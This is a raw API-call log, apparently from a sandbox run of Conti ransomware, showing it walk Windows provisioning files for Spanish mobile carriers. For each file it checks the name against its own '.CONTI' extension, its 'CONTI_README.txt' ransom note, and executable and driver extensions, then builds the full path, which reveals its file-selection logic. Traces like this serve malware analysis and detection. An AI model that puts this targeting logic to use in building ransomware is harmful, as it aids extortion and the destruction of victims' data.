	[0109.435] StrStrIW (lpFirst="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.435] StrStrIW (lpFirst="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.435] StrStrIW (lpFirst="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.435] StrStrIW (lpFirst="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.435] StrStrIW (lpFirst="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.435] StrStrIW (lpFirst="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.435] StrStrIW (lpFirst="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.435] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.435] lstrlenW (lpString="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.435] GetProcessHeap () returned 0x1720000
	[0109.435] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6572700
	[0109.435] lstrcpyW (in: lpString1=0x6572700, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.436] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.436] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\402__Connections_Cellular_Movistar (Spain)_i0$(__MVID)@WAP.provxml"
	[0109.436] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ecca53, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ecca53, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ecca53, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", cAlternateFileName="403__C~1.PRO")) returned 1
	[0109.436] lstrcmpiW (lpString1="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.436] lstrcmpiW (lpString1="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.436] StrStrIW (lpFirst="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.436] StrStrIW (lpFirst="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.436] StrStrIW (lpFirst="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.436] StrStrIW (lpFirst="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.436] StrStrIW (lpFirst="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.436] StrStrIW (lpFirst="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.436] StrStrIW (lpFirst="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.436] StrStrIW (lpFirst="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.436] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.436] lstrlenW (lpString="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml") returned 66
	[0109.436] GetProcessHeap () returned 0x1720000
	[0109.436] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6574330
	[0109.436] lstrcpyW (in: lpString1=0x6574330, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.436] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.436] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\403__Connections_Cellular_Movistar (Spain)_i1$(__MVID)@WAP.provxml"
	[0109.436] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ecca53, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ecca53, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ecca53, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="404__C~1.PRO")) returned 1
	[0109.436] lstrcmpiW (lpString1="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".") returned 1
	[0109.436] lstrcmpiW (lpString1="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2="..") returned 1
	[0109.436] StrStrIW (lpFirst="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.436] StrStrIW (lpFirst="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.436] StrStrIW (lpFirst="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".exe") returned 0x0
	[0109.436] StrStrIW (lpFirst="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".dll") returned 0x0
	[0109.436] StrStrIW (lpFirst="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".lnk") returned 0x0
	[0109.436] StrStrIW (lpFirst="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".sys") returned 0x0
	[0109.436] StrStrIW (lpFirst="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch=".CONTI") returned 0x0
	[0109.436] StrStrIW (lpFirst="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.436] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.437] lstrlenW (lpString="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned 68
	[0109.437] GetProcessHeap () returned 0x1720000
	[0109.437] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6572eb0
	[0109.437] lstrcpyW (in: lpString1=0x6572eb0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.437] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.437] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\404__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0109.437] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ecca53, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ecca53, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ecca53, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="405__C~1.PRO")) returned 1
	[0109.437] lstrcmpiW (lpString1="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.437] lstrcmpiW (lpString1="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.437] StrStrIW (lpFirst="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.437] StrStrIW (lpFirst="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.437] StrStrIW (lpFirst="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.437] StrStrIW (lpFirst="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.437] StrStrIW (lpFirst="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.437] StrStrIW (lpFirst="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.437] StrStrIW (lpFirst="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.437] StrStrIW (lpFirst="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.437] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.437] lstrlenW (lpString="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.437] GetProcessHeap () returned 0x1720000
	[0109.437] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6b80998
	[0109.437] lstrcpyW (in: lpString1=0x6b80998, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.437] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.437] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\405__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.437] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ecca53, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ecca53, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ecca53, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="406__C~1.PRO")) returned 1
	[0109.437] lstrcmpiW (lpString1="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.437] lstrcmpiW (lpString1="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.437] StrStrIW (lpFirst="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.437] StrStrIW (lpFirst="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.437] StrStrIW (lpFirst="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.437] StrStrIW (lpFirst="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.437] StrStrIW (lpFirst="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.437] StrStrIW (lpFirst="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.438] StrStrIW (lpFirst="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.438] StrStrIW (lpFirst="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.438] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.438] lstrlenW (lpString="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml") returned 64
	[0109.438] GetProcessHeap () returned 0x1720000
	[0109.438] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x65738f0
	[0109.438] lstrcpyW (in: lpString1=0x65738f0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.438] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.438] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\406__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml"
	[0109.438] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ecca53, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ecca53, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ecca53, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="407__C~1.PRO")) returned 1
	[0109.440] lstrcmpiW (lpString1="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.440] lstrcmpiW (lpString1="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.440] StrStrIW (lpFirst="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.440] StrStrIW (lpFirst="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.440] StrStrIW (lpFirst="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.440] StrStrIW (lpFirst="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.440] StrStrIW (lpFirst="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.440] StrStrIW (lpFirst="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.440] StrStrIW (lpFirst="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.440] StrStrIW (lpFirst="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.441] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.441] lstrlenW (lpString="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml") returned 68
	[0109.441] GetProcessHeap () returned 0x1720000
	[0109.441] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6572848
	[0109.441] lstrcpyW (in: lpString1=0x6572848, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.441] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.441] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\407__Connections_Cellular_Telefonica (Spain)_i0$(__MVID)@WAP.provxml"
	[0109.441] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ef2cc3, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ef2cc3, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ef2cc3, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="408__C~1.PRO")) returned 1
	[0109.441] lstrcmpiW (lpString1="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.441] lstrcmpiW (lpString1="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.441] StrStrIW (lpFirst="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.441] StrStrIW (lpFirst="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.441] StrStrIW (lpFirst="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.441] StrStrIW (lpFirst="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.441] StrStrIW (lpFirst="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.441] StrStrIW (lpFirst="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.441] StrStrIW (lpFirst="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.441] StrStrIW (lpFirst="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.441] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.441] lstrlenW (lpString="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.441] GetProcessHeap () returned 0x1720000
	[0109.441] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6572c20
	[0109.441] lstrcpyW (in: lpString1=0x6572c20, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.441] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.441] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\408__Connections_Cellular_vodafone ES (Spain)_i0$(__MVID)@WAP.provxml"
